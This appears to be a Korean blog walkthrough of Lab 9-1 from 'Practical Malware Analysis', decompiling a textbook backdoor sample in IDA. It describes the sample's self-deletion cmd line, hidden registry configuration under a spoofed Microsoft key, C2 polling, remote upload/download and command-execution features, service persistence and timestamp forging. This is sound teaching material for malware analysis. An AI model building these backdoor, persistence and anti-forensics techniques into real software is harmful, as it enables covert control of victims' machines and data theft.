안녕하세요. Message 입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 9-1을 분석합니다.

점점 분량이 늘어나고 있습니다...

스크롤 압박이 다소 있지만, 중간중간 필요한 서브루틴을 적절히 검색하시면 편리합니다~

 

※ 분석환경 : WindowsXP, Windows7, Vmwre 12.1.0 build, IDA 6.1 and 6.6

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x00 기초 동적 분석

-----------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

 

1. PE구조 & 패킹

별도의 패킹이 되어 있지 않습니다.

 

2. DLL

KERNEL32, ADVAPI32, WS2_32 등은 자주 보아왔던 DLL이었지만

SHELL32 ShellExecuteA 함수가 눈에 띄었습니다.

어디선가 보았다 싶어서 찾아봤더니 OLE 취약점 분석 포스팅에서 VBScript에 있던 함수명이네요.

해당 취약점에서는 ShellExecute 함수를 이용하여 cmd.exe 파일을 실행시키는 용도로 사용하였는데

이번 케이스는 어떻게 사용될지 궁금합니다.

 

3. String

1) .data 섹션

레지스트리 경로, URL, system32 폴더, CMD 명령어, Service 관련 문자열들이 눈에 띕니다.

네트워크 통신과 더불어 시스템에 영향을 미치는 기능을 수행하는 악성코드로 예상됩니다. 

 

2) .rdata 섹션

대부분이 프로그램 생성시 포함되는 소스코드 또는 Import DLL 목록으로 판단됩니다.

R6016~R6028로 시작하는 문자열들이 많이 등장하고 있습니다.

프로그램 로드 또는 실행시 CRT에 의해서 발생하는 C Runtime Error 관련 에러 문자열입니다.

이번 문제 역시 Lab06-01 문제와 동일하게 printf 를 WIndows API로 명명해주지 않기 때문에

내부에서 사용되는 함수/문자열들이 Hex-ray를 통해 소스코드로 변경되면서 수면 밖으로 나온것으로 판단됩니다.

(해당 문자열들을 XREF로 추적하면 sub_402E7E(printf) 에서 사용되고 있습니다.)

MSDN : https://msdn.microsoft.com/en-us/library/6f8k7ad1.aspx

 

Tip. String Window에서 .data vs .rdata 섹션

 IDA를 이용한 초기 동적분석에서 항상 살펴보는 곳이 String Window입니다.

 그리고 String 값들은 대게 data/rdata 섹션에 존재했습니다. 어떤 차이일까요?

 

 data Section

 섹션헤더 Chracteristics 필드를 살펴보면 READ/WRITE 속성을 모두 가지고 있습니다.

 저장되는 변수는 초기화된 전역변수(global)와 정적변수(static) 등 입니다.

 

 ② rdata Section

 CONST변수, 하드코딩(printf 등) 문자열, 소스코드에 포함된 문자열 등이 저장됩니다.

 또한 Import 되는 DLL 목록이 저장되기로 하므로, API들과 DLL 이름등이 저장됩니다.

 

 ③ Test

 VS2015로 global, static, local 타입의 포인터/배열을 선언하여 테스트해보았습니다.

 테스트 환경은 학습을 위해 release 모드로 빌드후 XP에서 실행하였습니다.

   LOCATION : 선언된 변수의 위치,   VALUE : 문자열 위치,   STR : 문자열

 

 

 위 결과를 기반으로 정리하면 아래와 같습니다.

 ① ptr String : .rdata 섹션

 ② arr String : 전역변수  data섹션 (const 제외) , 지역변수  Thread Stack (static 제외)

 포인터 스트링은 모두 .rdata 섹션이며, 배열 스트링은 상황에 따라 복잡합니다.

 배열이라 하더라도 CONST는 상수이므로 자연스럽게 rdata 섹션에 저장되며,

 나머지는 data + Thread Stack 영역에 저장됩니다. 

 

 <참고>

 주소값들을 살펴보면 스택이 PE보다 낮은 주소에 있습니다.

 처음에는 오류인줄 알고 헷갈렸습니다. 왜냐하면 스택은 높은곳에서 거꾸로 자라며,

 계속 자라면 Heap하고 충돌...등등 어디서 주워들은 얘기로만 기억하고 있었고,

 구글링을 해보아도 같은 얘기를 하는게 맞나 싶을 정도로

 다양한? 메모리 구조 그림들이 나왔습니다.

 (아마 Unix계열과 Windows계열이 섞여서 돌아다녀서 그런가봅니다.) 

 

 Vmap으로 메모리를 힙/스택 모두 PE보다 상단(낮은주소)에 있었으며

 이것에 맞는 메모리 구조를 표현한 그림은 아래와 같았습니다.

  Thread Stack : 0x00030000 ~ 0x0012FFFF

 

 

 *그림출처 : http://www.securitysift.com/windows-exploit-development-part-1-basics

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x01 정적 분석

-----------------------------------------------------------------------------------------------------------------

문제풀이를 위한 정적 분석을 진행합니다.

 

 

1. main 함수 - 인자가 1개인 경우

main 함수에 진입하면, __alloca_probe 함수를 통해 스택을 0x182C 만큼 할당한뒤

전달된 인자의 개수가 1인지 체크합니다. 만약 결과값이 1이라면 sub_401000 함수를 호출합니다.

__akkica_probe 함수의 경우 지난 문제에서 상세 분석을 마쳤으므로, 무난하게 패스합니다.

 

 

sub_401000 함수를 살펴보면,

RegOpenKeyExA 함수를 이용하여 빨간색으로 배경이 지정된 문자열의 레지스트리 키를 Open하고

"Configuration" 항목값을 가져옵니다.

 

가끔 IDA에서 String 값을 제대로 못읽어와서 위에처럼 빨간색으로 처리되는 경우가 종종 발생하는데

(불행하게도 아직 해결하는 방법을 몰라요)

함수에 들어가는 인자값들은 OllyDbg를 통해 좀더 직관적이고 빠르게 분석이 가능합니다.

레지스트리키는 HKLM하이브의 "SOFTWARE\Microsoft\WPS" 이며, 해당 키에서 "Configuration" 항목값을 가져옵니다.

※ sub_401000 정리 : 레지스트리 존재 여부 체크

 

레지스트리 open에 실패하거나, "Configuration" 항목값이 존재하지 않을 경우 sub_402410 서브루틴을 호출합니다.

sub_402410 함수의 경우, 아래 그림에서 보다싶이 main에서 매우 빈번하게 호출되는 함수입니다.

해당 함수의 내부를 살펴보면, GetModuleFileNameA, GetShortPathNameA 함수를 이용하여

Full/Short Path를 얻으며, 이후에 "/c del" 문자열을 Parameters 변수에 복사합니다. 

 

 

이후 이어지는 코드는 IDA에서는 비교적 복잡해 보이지만

이전 문제에서 한번 분석해본 내용으로서, do-while 문으로 문자열의 길이를 구하는 내용입니다.

현재 szLongPath 변수에 Short Path가 들어있으니, Short Path의 문자열 길이를 얻게 됩니다.

이러한 do wile문은 버전이 낮은 Hex-rays에서 문자열이 들어가는 함수가 나올경우 자주 등장하는

패턴입니다. 버전을 높이면 생략되더군요.

 

 

첫번째 탈출 조건은 변수 v0에 0xFFFFFFFF(-1)을 할당한 후 0이 될때까지 -1을 하여서 0이 되면 break 합니다.

두번째 탈출 조건은 문자열이 담긴 v1 변수에서 문자열을 끝을 나타내는 null 문자 발견입니다. 

처음에는 아래의 소스코드가 헷갈렸는데,

*v1++ == 0 조건이 성립할때 v2에 *v1++을 할당하는 내용으로 해석하면 될 것같습니다.

 ex) v2 = *v1++ == 0;   if( 변수 또는 계산식 == 0 ) v2 = 변수;

 

이후에 v4 = ~v0; 코드로 값을 반전하여 글자수를 얻습니다. 글자수는 8자리네요.

 

이어지는 코드는 비슷하게 Parameters 변수에 저장된 "/c del " 문자열의 길이를 동일 로직으로 얻습니다.

특이하게 v7 변수에 &v1[-v4] 주소값을 할당하는 부분이 있습니다.   v2 = *v1++ == 0;  

위 코드에서 *v1++ 로 인해 증가된 v1의 의 주소값을 다시 "/c del " 문자열을 가리키는 주소로 보정하기 위함입니다.

 

이후에 memcpy 함수를 이용하여 v7에 저장된 문자열을 (void *)(v6 -1)

주소값에 복사하여 아래의 문자열을 완성합니다.

경로값을 고려해서 del 문자열 뒤에 한칸 스페이스가 삽입되어 있는 부분을 체크합니다.

 

역시 동일한 방식으로 ">> NUL" 문자열의 글자수를 계산하고

memcpy 함수를 통해 최종문자열 "/c del c:\단축경로\Lab09.01.exe >> NUL" 문자열을 완성시킵니다.

해당 문자열의 의미는 스스로 파일을 삭제함과 동시에, 에러 출력을 버리는 의미를 가집니다.

완성된 문자열은 ShellExecuteA 함수를 통하여 CMD 명령어로 사용됩니다.

 

저는 몰랐지만, OllyDbg로 실행하고 있기 때문에 윈도우가 파일삭제를 허용하지 않는다고 하네요.

(사실 실수로 몇번 브레이크 포인트를 지나서 실행해버린 바람에 가슴철렁 했었는데...)

이후 exit 함수로 프로그램을 종료합니다.

※ sub_402410 정리 : 레지스트리 체크 + 디스크에서 악성코드 삭제

 

sub_401000 서브루틴에서 레지스트리가 존재할 경우, 프로그램이 종료되지 않고 sub_402360 서브루틴을 호출합니다.

해당 서브루틴의 내부 로직을 살펴보면, 원하는 조건이 충족될때까지 무한 루프를 수행합니다.

정확한 행위를 분석하려면 while문 내부의 sub_401280sub_402020 함수의 분석이 필요합니다.

 

sub_401280 서브루틴을 살펴보면,

sub_401000 서브루틴에서도 보았던 "\\XPS" 레지스트리를 Open하고 "Configuration" 값을 한번더 체크합니다.

계속 중복체크하는것을 보니, 분명 악성코드의 중요 행위중에 하나로 보여집니다.

만약 해당 레지스트리가 존재하지 않을 경우 함수의 인자로 받은 a1, a3, a5, a7 변수에

"Configuration" 항목에서 받아온 내용을 글자수만큼 주소값을 이동하며 복사합니다.

하지만 아직은 어떤 문자열이 해당 변수에 저장되는지는 알 수 없습니다.

※ sub_401280 정리 : 레지스트리에서 "Configuration" 항목값을 얻어와서 변수에 할당 

Tip. Hex-ray에 주석남기기

 이번 문제와 같이 함수에 함수가 꼬리를 무는 경우, 헷갈리기 시작하면서

 분석시간이 길어질 수 있습니다.

 이럴땐 단축키 "/" 를 눌러서 아래와 같이 주석을 남길 수 있습니다.

 사실 간단한 부분인데...이런 노하우가 늘어날수록 분석 시간이 조금이라도 단축되겠죠.

 

 

다시 while 문으로 돌아갑니다.

위에서 분석한 sub_401280 서브루틴으로 "Configuration" 항목값에 있는 값들을 변수에 담아 왔으니

이후에 실행되는 sub_402020 서브루틴에서는 해당 값들을 활용할 것으로 예상됩니다.

 

 

 

2. 명령어 제어 프로토콜(sub_402020) - Part1(명령어수신)

서브루틴 내부를 살펴보면, 가장 먼저 실행하는 sub_401E60 서브루틴을 비롯한 여러 문자열들이 보입니다.

"SLEEP", "UPLOAD", "DOWNLOAD", "CMD" 등의 문자열이 무엇을 의미하는지 알아볼 필요가 있습니다.

 Tip. Hex-ray 옵션 - Strings Generate names

 IDA 버전을 6.6으로 업그레이드 했습니다.

 Hex-ray 코드가 좀더 간결해 졌지만, 문자열이 아래와 같이

 변수명으로 표현되어 가독성이 떨어집니다.

 

 IDA 옵션에서 한참 삽질을 하다보니.. Hex-ray 옵션이 따로 있더군요.

 IDA 설치경로의 cfg 폴더에서 hexrays.cfg 파일로 옵션을 설정합니다.

 Analysis 옵션의 HEXOPTIONS 값에서 read-only만 literal로 출력하는

 HO_CONST_STRING 옵션 비트 조정합니다. ex) 0x01FF → 0x01BF

 

 이제 아래와 같이 Hex-ray 코드에서 문자열이 표현됩니다.

 

 

먼저  sub_401E60 서브루틴을 살펴봅니다.

저같은 경우 sub_401E60 서브루틴 내부에 있는 함수들이 단발성(Xref에서 하나의 상호 참조만 있는) 함수들이

많은데다가, 전체적인 기능 파악이 안되어 있는 상태에서 하나만 계속 파고드는 느낌이 들어서

바로 분석하기 부담을 느꼈습니다. 그래서 처음엔 pass 하고 가장 마지막에 분석하였습니다.

이건 아마 분석하시는 분들의 성향에 따라 달라질듯하네요.

 

일단 가장 먼저 실행되는 서브루틴은 sub_401420 서브루틴으로서, 내부를 살펴보면

바로 위에서 분석한 sub_401280 서브루틴의 축소판입니다. 함수 자체가 BOOL 타입이지만,

포인터를 활용하여 인자로 전달된 &name 변수에 레지스트리에 저장된 문자열을 가져옵니다.

아래쪽에서 레지스트리를 등록하는 부분이 분석되어 있지만, 미리 컨닝을 하자면 아래의 URL을 가져옵니다.

※ sub_401420 정리 : 등록된 레지스트리에서 URL 값을 가져옴, sub_401280의 축소판 

 

두번째로 실행되는 서브루틴은 sub_401470 입니다.

해당 서브루틴 역시 내부에서 sub_401280 서브루틴을 호출하고 있으며,

인자로 전달된 a1 변수에 아래와 같이 포트번호로 보이는 문자열 "50(=80)" 값을 저장합니다.

레지스트리에 등록되는 값이 문자열이기 때문에 atoi 함수를 이용하여 정수값으로 변환합니다.

※ sub_401470 정리 : 등록된 레지스트리에서 포트번호를 가져옴, susub_401D80b_401280의 축소판 

 

세번째로 실행되는 서브루틴은 sub_401D80 입니다.

눈에 띄는 부분은 time 함수와 왠지 복잡하게 보이는 여러개의 for문입니다.

먼저 time 함수값이 어떻게 사용되는지 살펴보면,

sub_4030E0 서브루틴에 전달되어 단순하게 dword_40C180 변수에 값을 할당합니다.

왜 이런 함수가 있을까 궁금해서 Xref로 검색해보니 rand 함수 내부에서 해당 변수가 사용되고 있습니다.

 

rand 함수 내부를 살펴보면 time(NULL) 값을 바탕으로 난수값을 return 하고 있습니다.

rand 함수는 srand 함수를 미리 호출하지 않으면 동일한 난수값을 발생시키므로,

time(0) + sub_4030E0 서브루틴의 조합은 srand(time(NULL)) 과 동일한 기능으로 판단됩니다.

 

for문의 경우 포인터의 주소값을 1씩(BYTE 단위) 증가시키며 sub_401D10 서브루틴의 값을 저장합니다.

중간중간 구분자로 보이는 47("/"), 46("."), 0(NULL) 값을 넣어주는군요.

 

어떤값을 채우느냐가 관건입니다. sub_401D10 서브루틴을 살펴봅시다.

do-while 문으로 조건이 충족안될때까지 실행을 반복합니다.

while( (v1 < 48 || v1 > 57) && (v1 < 97 || v1 > 122) && (v1 < 65 || v1 > 90) )

실제로 찍어보거나, 엑셀로 계산하거나, 암산을 하시거나... 확인 방법은 자유입니다.

결과는 영어대소문자 + 숫자 아스키코드 범위이며, 결과값은 아래와 같습니다.

※ sub_401D80 정리 : 특정 구분자가 포함된 문자열 반환 

 

네번째로 실행되는 서브루틴은 sub_401AF0 입니다.

초반부에서 sub_401640 서브루틴을 호출하고 있습니다. 먼저 분석하고 되돌아옵니다.

 

sub_401640 서브 루틴을 살펴보면,

Lab07-03 문제에서 나왔던 패턴이 보입니다. 윈속으로 통신을 수행하기 위해서

WSAStartup → gethostbyname → socket → connect 순서로 연결을 시도합니다.

※ sub_401640 정리 : 인자로 전달된 도메인(=name)에 winsock으로 connect 수행 

 

다시 sub_401AF0 서브루틴으로 돌아갑니다.

strcpy + stcat 함수를 이용하여 buf 변수에 "GET VuHD/2tCo.tjd HTTP/1.0\r\n\r\n" 문자열을 생성합니다.

이후 connect로 연결한 원격지에 send 함수를 이용하여 통신을 수행합니다. 

 

만약 정상적으로 서버와 연결이 되었다면,

서버로부터 변수 v6 에 512 길이만큼 데이터를 전송받습니다.

수신된 데이터는 qmemcpy 함수를 통해 a4 배열에 차곡차곡 복사합니다.

반복 루틴이 실행될때마다 strstr 함수를 이용하여 "\r\n\r\n" 문자열이 존재하면 break 합니다.

 

 Tip. qmemcpy 

 qmemcpy 함수는 msdn에 검색해도 나오지 않았습니다.

 하지만 Hex-rays Home에서 6.6 버전을 릴리즈하며 게시한 내용에

 간략한 설명이 있어서 올립니다.

 왜 앞에 "q" 문자가 붙었는지는 모르겠지만

 중요한건 memcpy와 사용방법이 동일하며, byte by byte 방식으로

 낮은 주소에서 높은 주소로 복사를 한다는 점이겠죠.

 

 

 

recv 함수는 정상적인 데이터 전송이 이루어졌다면, 수신한 바이트의 길이를 리턴합니다.

하지만 리턴값이 0 이하일 경우(데이터 못읽음, 세션종료, 오류 등) 또는

"누적된 데이터 길이 + 방금 받은 데이터 길이" 가 인자로 넣어준 변수 a5(=4096)의 크기를 초과할 경우

sub_401740 서브루틴을 호출하여 shutdown, closesocket, WSACleanup 등의 세션종료 함수를 호출합니다.

 Tip. Windows 함수에서의 ErrorCode

 위에서 등장한 recv, shudown 등의 windosck 함수들을 호출하고나서 결과값이 0 미만일 경우

 result 값을 1로 반환하여, 정상적인 진행이 되지 않았을 경우의 실행 코드가 존재합니다.

 0 미만의 값이 무엇을 의미하는지 MSDN에서 살펴보려고 했습니다만,

 아래와 같은 WSAGetLastError 함수와 함께 에러코드들의 링크가 존재하더군요.

 그런데 문제점은 모두가 하나같이 0 이상의 상수값이라서 헤멨습니다.

 (분명 0 미만일 경우의 코드들이 존재했는데, 왜 모두 0 이상이지? 라는 생각과 함께요)

 

 자세하게 설명을 읽어보지 못한 저의 불찰입니다만,

 GetLastError 또는 WSAGetLastError 함수들은 에러가 발생한 이후에

 별도로 호출하여 에러코드를 얻어내는 함수들입니다. 

 recv 함수는 정상적이라면 수신한 바이트 길이를 리턴하며, shutdown 함수는 정상적인 경우

 0(zero)을 반환합니다. 그래서 보통 0 미만의 값을 가지면 실패 또느 오류로 인지하는것이죠.

 

sub_401740 서브루틴에서도 원하는 결과를 얻지 못했다면, 마지막 else 문으로 진입합니다.

strstr 함수로 " `'`'` " 문자열의 위치를 검색하는 루틴입니다.

문자가 헷갈려서 간단하게 찍어보니 16진수값 0x27(" ' "), 0x60(" ` ") 이 나왔습니다.

교재에서는 백틱, 어포스트로피라고 되어 있는데...백틱이란 문자는 생소하네요.

만약 해당 문자열들이 둘다 검색된다면,

qmemcpy 함수를 이용하여 v5 변수가 가지고 있는 주소값의 내용을 a1 변수로 복사합니다.

그 다음줄은 마지막 라인에 0(null)값을 넣어주면서 문자열의 끝을 나타내는것으로 생각됩니다.

변수 v10 에는 sub_401AF0 서브루틴에서 GET 으로 얻어온 파일이 담겨있습니다.

서버에서 가져온 파일 또는 문서에서 특정 내용을 a1 변수에 반환하여

위에서 잠시 살펴보았던 "SLEEP", "UPLOAD" 등의 명령어일 경우 해당되는 함수들을 호출합니다.

※ sub_401E60 정리 : 등록된 레지스트리에서 항목값을 가져오거나, URL로부터 명령어 수신 

 

 

 

 

3. 명령어 제어 프로토콜(sub_402020) - Part2(명령어별 동작)

이제 명령어를 수신하였으니, 명령어별로 어떤 동작을 수행하는지 살펴봅니다.

v14 변수에 담긴 문자열과 명령어들과의 비교를 통해 일치할 경우, strotok 함수를 이용하여 문자열을 분리합니다.

strtok 함수의 특성상, 처음에만 주소값을 넣어주고 이후에는 Null 을 넣어줌으로서 지속적인 분리를 수행합니다.

이렇게 분리하는 이유는, 위쪽에서 strncmp 함수를 이용하여 문자열의 앞부분에서 특정 길이만큼만 체크한뒤

그 뒤에 "(공백)" " ' "  구분자로하여 이어지는 다른 명령을 파싱하기 위해서일겁니다.

그래서 각 명령어마다 서로 다른 sub_401790 / sub_401870 / sub_4019E0 함수 등을 호출하는것으로 보입니다.

 

① "SLEEP"

해당 명령의 경우 말그대로 Sleep 함수를 실행시킵니다.

함수 인자의 단위는 밀리초(=ms, milliseconds, 1/1000초) 이므로,

"1000 * v3" 계산에서 v3 변수가 몇초 동안 sleep 상태로 대기할 것인지를 결정합니다.

 

 "UPLOAD"

해당 명령의 경우 sub_4019E0 서브루틴을 실행합니다.

 

sub_4019E0 서브루틴의 내부 동작을 살펴보겠습니다.

CreateFileA 함수로 파일을 생성(또는 open) 하고 있으며,

실패할 경우 sub_401740 서브루틴으로 winsock 연결을 해제(shutdown, closeconnect) 합니다.

 

하지만 성공하였을 경우에는, 

방금 얻어낸 handle + recv 함수+ WriteFile 함수로 파일의 로우 데이터를 입력합니다.

여기서 의아했던 점은 분명 "UPLOAD" 인데 서버에서 데이터를 수신하고 있다는 점입니다.

뒤쪽에서 알게되었지만, "DOWNLOAD" 역시 반대로 서버에 데이터를 송신합니다.

이것으로 미루어보아, 명령어의 주체가 감염된 PC가 아닌 서버 or 악성코드 제작자임을 알 수 있습니다.

 

서버와의 연결이 성공적으로 종료되면, sub_4015B0 + sub4014E0 서브루틴을 호출하여

특정 파일 생성/복사 등을 수행합니다. 자세한 내용은 아래쪽의 "-in" 기능을 분석에 있습니다.

(내용이 길어지고 함수가 반복적으로 쓰이다보니 왔다갔다하네요..^^;)

 

 

"DOWNLOAD"

위에서 어느정도 파악을 했다싶이, 실제로는 감염된 PC에 파일이 다운로드 되어지는 루틴입니다.

 

호출되는 sub_401870 서브루틴을 살펴봅니다.

CreateFile 함수를 통해 파일을 오픈하는 과정은 들어가는 몇개의 인자값을 제외하고는 동일합니다.

다운로드의 경우 업로드와는 달리 "dwCreationDisposition" 인자값을 EXCREATE_ALWAYS OPEN_EXISTING

설정하였기 때문에 덮어쓰지 않고 기존에 존재하는 파일을 오픈합니다.

이후에 ReadFile 함수 + send 함수를 이용하여 서버 또는 악성코드 제작자에게

파일에서 읽어온 데이터(&Buffer)를 송신합니다.

 

 

 "CMD"

해당 함수는 말그대로 CMD 기능을 사용하는 명령어이며,

_popen 함수를 이용하여 cmd에서 명령어를 실행하고 있습니다.

"rb" 옵션의 경우 프로세스가 결과값을 볼 수 있음(=r) + 이진 데이터 반환(=b)을 의미합니다.

이후에 sub_401790 서브루틴을 호출합니다.

 

sub_401790 서브루틴의 경우 _popen 함수의 결과값을 인자로 받고 있으며,

fread 함수를 이용하여 결과값을 읽은 후에 send 함수로 서버에 송신하는 역할을 수행합니다.

 

 

4. main 함수 - 인자가 여러개인 경우

메인함수로 되돌아옵니다.  사실 저희는 아직 main의 6라인 밖에 분석을 못했습니다.

얼마 남지 않았음을 믿어 의심치 않으며...달려봅시다.

else문을 살펴보면, 프로그램 실행시 받은 마지막 인자를

v10 변수에 할당하고 sub_402510 서브루틴을 호출하는군요.

 

sub_402510을 살펴봅니다.

매개변수 int achar* 형으로 캐스팅한 뒤 문자열의 길이를 체크합니다.

만약 길이가 4가 아닐 경우에는 바로 result = 0 을 리턴하게 되며, 이럴경우

메인으로 돌아가서 본인 삭제 기능을 가진 서브루틴 sub_402410을 호출됩니다.

앞으로도 어떤 조건을 충족시키지 못하면 sub_402410을 호출하는 횟수가 빈번해집니다.

이는 프로그램 실행시 특정 조건을 반드시 맞춰야 하는 비밀번호와 같은 역할입니다.

문자열의 길이가 4라고 가정하고 다음으로 넘어갑니다.

 

int형 매개변수 a1을 _BYTE * 형으로 캐스팅한뒤 97(=a) 과 비교하여 일치하면 아래의 연산을 수행합니다.

 v2 = *(_BYTE *)(a1 +1) - *(_BYTE *)a1

이때 a1은 int형이므로 "[]" 연산이 불가능하며, a1이 가리키는곳의 문자열은 총 4자리임을 기억해야합니다.

*(_BYTE *)(a1+a1)이 의미하는 바는 a1에 저장되어 있는 숫자(주소값)에 +1을 더하여 값을 가져오므로 

a1이 가리키는 문자열 중에 두번째 문자를 의미합니다.

따라서 v2에는 (두번째 문자) - (첫번째 문자) 연산 결과가 할당됩니다.

v2 == 1이 되려면 자연스럽게 두번재 문자는 98(=b) 가 되며,

v3 = 99* v2 로 인해 세번째 문자는 99(=c) 입니다.

 

위와같은 로직으로 계산하게 되면, 이후에 실행되는 코드도 해석이 쉬워집니다.

변수 v3와 a1이 가리키는 문자열 중에 세번째 문자를 비교하는 코드입니다. 

 if( v3 == *(_BYTE *)(a1+2) ) 

 

만약 일치한다면, 세번째 문자와 네번째 문자가 일치하는지 확인하고, 일치할 경우 result에 저장합니다.

여기서 (char)(v3+1) 은 v3 주소값에서 +1을 하는것이 아니라,

말그대로 v3값(99)에서 +1을 해서 (char)형으로 캐스팅을 한겁니다. 즉, 네번째 문자는 100(=d) 입니다.

 result = (char)(v3+1) == *(_BYTE *)(a1 + 3) 

 

다시 main으로 돌아갑니다.

이후에 _mbscmp 함수를 이용하여 argv[1]에 있는 변수와 "-in" "-re" "-c" "-cc" 문자열을 비교합니다.

_mbscmp 은 strcmp 의 멀티바이트 문자 버전으로서, MBCS기반의 문자 비교를 수행합니다.

각 문자열 별로 비교하는 부분을 살펴봅니다.

 

① "-in"

일치 O : 인자의 개수에 따라 else if 또는 else 문 진입  sub_4025B0, sub_402600 서브루틴 실행

일치 X : IF문 내부로 진입 (_mbscmo : 문자열이 동일한 경우 0 반환)

 

"-in" "-re" "-cc" 의 공통점은 인자가 3개일때 sub_4025B0 서브루틴을 호출하는 부분입니다.

sub_4025B0를 살펴보면, 내부에서 getModuleFileNameA 함수를 호출하는것 외에는

특별한 기능을 수행하지 않습니다. _splitpath 함수는 디렉토리를 분리하는 함수로서

드라이브명, 디렉토리명, 확장자 등을 분리하여 각 변수에 담을 수 있는 함수입니다.

세번째 인자 a1 변수에 파일명이 분리되어 담길것입니다. 이후 0을 반환하고, main에서 sub_402600을 호출합니다.

sub_4025B0 정리 : 인자로 넣어준 변수의 파일명 반환

 

sub_402600를 살펴보면,

strcpy + strcat을 이용하여 "%SYSTEMROOT%\\system32\\서비스명(=파일명).exe" 문자열을 만듭니다.

사실상 여기서 서비스명은 sub_4025B0 에서 반환한 파일명입니다.

이후 OpenSCManagerA + OpenServiceA 함수를 이용해 서비스를 실행합니다.

 

만약 서비스가 제대로 Open 되었다면,

ChangeServiceConfigA 를 실행하고 서비스 핸들을 닫거나 or 그냥 닫아버립니다.

dwServiceType과 dwErrorControl 인자값이 0xFFFFFFFF 이어서 어떤 의미인지 헤메다가

MSDN의 "Changing a Service's Configuration" 예제를 발견하여 참고했습니다.

URL : https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms681987(v=vs.85).aspx 

 

서비스가 정상적으로 Open 되지 않았을 경우,

서비스명 "Lab09-01", 서비스 표시 이름 "Lab09-01 Manager Service" 으로 서비스를 생성합니다.

6번째 인자를 통해서 SCManager 가 Setup 될 때 자동으로 시작되는 서비스임을 알 수 있습니다.

들어가는 인자들은 Xref로 어셈블리 코드를 추적한 다음 Symbolic Constant로 변경하면 편리합니다.

 

이후에 ExpandEnvironmentStringA 함수를 호출하여 Src변수에 문자열로 저장해 두었던

환경변수 %SYSTEMROOT%을 확장한 문자열을 얻습니다. 이러한 절차는 설치되는 PC마다 환경변수가 다르기 때문에

오류를 최소화하기 위한 작업으로 보입니다. 다음에 또 해당 코드와 마주친다면 의도파악이나 분석 속도가 빨라지겠죠.

그아래에서는 파일을 다른 경로를 복사하기 위해 GetModuleFIleName 함수와 CopyFile 함수를 호출합니다.

이후에 sub_4015B0 함수 결과에 따라 sub_401070 함수의 호출 여부가 결정됩니다.

 

sub_4015B0 서브루틴을 살펴보면,

GetSystemDirectory + strcat 함수를 이용하여 아래와 같은 문자열을 만듭니다.

이후 sub_4014E0 함수의 결과가 0이 아니면 result로 반환합니다.

 

sub_4014E0 서브루틴을 살펴보면,

인자로 넘어온 2개의 경로를 이용하여 파일을 2개 생성합니다.

① a1 : C:\Windows\system32\Lab09-01.exe (GENERIC_WRITE)

② lpFileName : C:\Windows\system32\kernel32.dll (GENERIC_READ)

CreateFile 함수의 인자값들은 OllyDbg에서 파악하기 쉽습니다.

 

여기서 염두해둘 부분은 kernel32.dll 파일은 이미 존재할 것이므로, OPEN_EXISTING 옵션에 의하여

핸들값을 가져오고 난 이후에 system32 폴더에 생성된 Lab09-01.exe의 타임설정을 kernel32.dll과 동일하게 설정하는 점입니다.

만들어진 Lab09-01.exe의 등록정보를 살펴보면 제가 캡쳐를 위해 접근한 시간인 액세스 날짜를 제외하고

나머지 일자가 동일함을 알 수 있습니다.

sub_4014E0 정리 : 함수에 넘어온 인자를 이용하여 "Lab09-01.exe" 파일 생성, "kernel32.dll" 파일과 동일하게 타임 설정

sub_4015B0 정리 : "시스템 디렉토리 경로 + kernel32.dll" 문자열 생성, sub_4014E0 호출 

 

 

다시 sub_402600으로 돌아가서, sub_401070을 살펴보겠습니다.

함수에 "ups" "http://...." "80" "60" 인자들을 넣어주고 sub_401070 서브루틴을 호출합니다.

 

아마 이부분이 가장 궁금했던 "SOFTWARE\\Microsoft \\XPS" 레지스트리에

어떤 내용이 저장되길래 자꾸 체크하는지 알 수 있는 부분입니다.

함수 호출시 전달된 인자들을 주소값 연산을 통해 &Data 변수에 주르륵 할당합니다.

 

이후 RegCreateKeyExA 함수를 이용하여 "SOFTWARE\\Microsoft \\XPS" 서브키로 레지스트리를 생성하고

RegSetValueExA 함수를 이용하여 "Configuration" 항목값을 Data 변수에 있는 내용으로 채웁니다.

 

regedit을 이용하여 생성된 레지스트리르 체크해보면,

MicroSoft 문자열 뒤에 스페이스가 추가된 서브키가 추가로 생성되어

사용자가 악성코드로 인해 생성된 레지스트리인지 쉽게 인지할 수 없게 되어있습니다.

 

이것으로 길고 길었던 "in" 옵션에 대한 분석이 끝났습니다.

이후의 옵션들은 위에서 분석한 함수들의 내용이 중첩되는 부분이 많아서 좀더 수월할것으로 보입니다.

sub_401070 정리 : 레지스트리 생성 및 등록 

"in" 커맨드라인 옵션 정리 : 시스템 디렉토리에 악성코드 복사, 서비스 생성, 레지스트리 생성 

 

 

② "-re"

일치 O : 인자가 3개일 경우 sub_4025B0, sub_402900 호출, 4개인 경우 sub_202600 호출, 그외 sub_402410(삭제+종료) 호출

일치 X : IF문 내부로 진입 (_mbscmo : 문자열이 동일한 경우 0 반환)

 

인자가 3개 혹은 4개일 경우, "in" 옵션과 동일하게 sub_4025B0(파일명반환) 서브루틴을 호출합니다.

이후 sub_402900 서브루틴을 호출합니다. 해당 함수를 분석합니다.

 

가장 먼저 눈에 들어오는 부분이 OpenSCManagerA + OpenServiceA 입니다.

해당 함수들이 눈에 익어서 어디서 호출했는지 Xref로 확인해보면 sub_402600 서브루틴입니다.

sub_402600 서브루틴에서는 새로운 서비스를 생성하는데 초점이 맞춰져 있었습니다.

 

하지만 분석중인 sub_402900 서브루틴에서는 DeleteService + DeleteFileA 함수를 통해

악성코드가 생성한 서비스와 파일을 삭제를 수행합니다. 해당 명령어는 "remove"를 의미하는것 같네요.

 

sub_402600 서브루틴의 분석이 선행되어서 그런지 "re" 옵션에 대한 분석이 빨리 끝났습니다.

"re" 커맨드라인 옵션 정리 : 서비스 삭제, 시스템 디렉토리에 복사한 악성코드 삭제 

 

 

③ "-c"

일치 O : 인자가 7개인 경우 sub_401070 호출, 아닌 경우 sub_402410(삭제+종료) 호출

일치 X : IF문 내부로 진입 (_mbscmo : 문자열이 동일한 경우 0 반환

 

해당 명령어는 인자가 7개가 아니면 바로 삭제를 수행합니다.

위에서 이미 분석한 sub_401070(레지스트리 생성 및 등록) 서브루틴을 호출합니다.

해당 함수에 인자가 모두 argv인것으로 보아 레지스트리 값만 직접 등록하고 싶을때 사용하는 명령어입니다.

